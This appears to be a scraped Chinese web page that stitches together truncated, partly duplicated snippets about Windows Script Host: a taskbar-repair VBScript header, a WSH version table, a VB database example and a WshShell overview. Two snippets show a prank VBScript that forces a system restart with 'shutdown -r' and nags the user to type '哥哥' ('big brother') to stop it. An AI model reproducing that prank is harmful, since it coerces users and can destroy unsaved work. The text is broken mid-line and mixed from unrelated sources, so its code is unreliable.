'xp_taskbar_desktop_fixall.vbs - Repairs the Taskbar when minimized programs don't show. '?Kelly Theriot and Doug Knox - 8/22/2003 '翻译：Smallfrogs。翻译内容：将英文提示改为简体中文 '来源：Microsoft Windows XP NewsGroup Set WSHShell = Wscr ipt.CreateObject("Wscr ipt.Shel
WSH 版本信息 下表列出了 Microsoft 宿主应用程序实现的 Windows 脚本宿主版本。 元素 x 元素 x AddPrinterConnection 方法 x AddWindowsPrinterConnection 方法 x AppActivate 方法 x Application 属性 x Arguments 属性 x AtEndOfLine 属性 x AtEndOfStream 属性 x Close 方法 x Column 属性 x ComputerName 属性 x C
on error resume next dim WSHshellA set WSHshellA = wscr ipt.createobject("wscr ipt.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 0 -c "" dim a do while a = inputbox msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) +
VB连接SQL数据库示例 建一个工程,建立一个form1,form1中的代码如下: Dim rsNew As ADODB.Recordset Dim CnNew As ADODB.Connection Dim wsh As New WshShell Dim serverlink As String Private Sub Command1_Click()
'xp_taskbar_desktop_fixall.vbs - Repairs the Taskbar when minimized programs don't show. '?Kelly Theriot and Doug Knox - 8/22/2003 '翻译：Smallfrogs。翻译内容：将英文提示改为简体中文 '来源：Microsoft Windows XP NewsGroup Set WSHShell = Wscr ipt.CreateObject("Wscr ipt.Shel
on error resume next dim WSHshellA set WSHshellA = wscr ipt.createobject("wscr ipt.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""叫哥哥，不叫哥哥一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a "哥哥") a = inputbox ("叫哥哥,就不关机，快撒，说 ""哥哥"" ","说不说","不说",
WshShell提供对本地 Windows 外壳程序的访问。可以通过WshShell 对象模拟键盘，向激活窗口发送键值实现选择，弹出定时提示框，注册表的读写，程序的启动，系统等待，添加Event Log，创建快捷方式等与windows联系比较紧密的操作。这些操作如果使用QTP来操作可能不是最佳方案，甚至可能QTP根本无法完成，此时就可以用WSH对象来帮助解决此类问题。
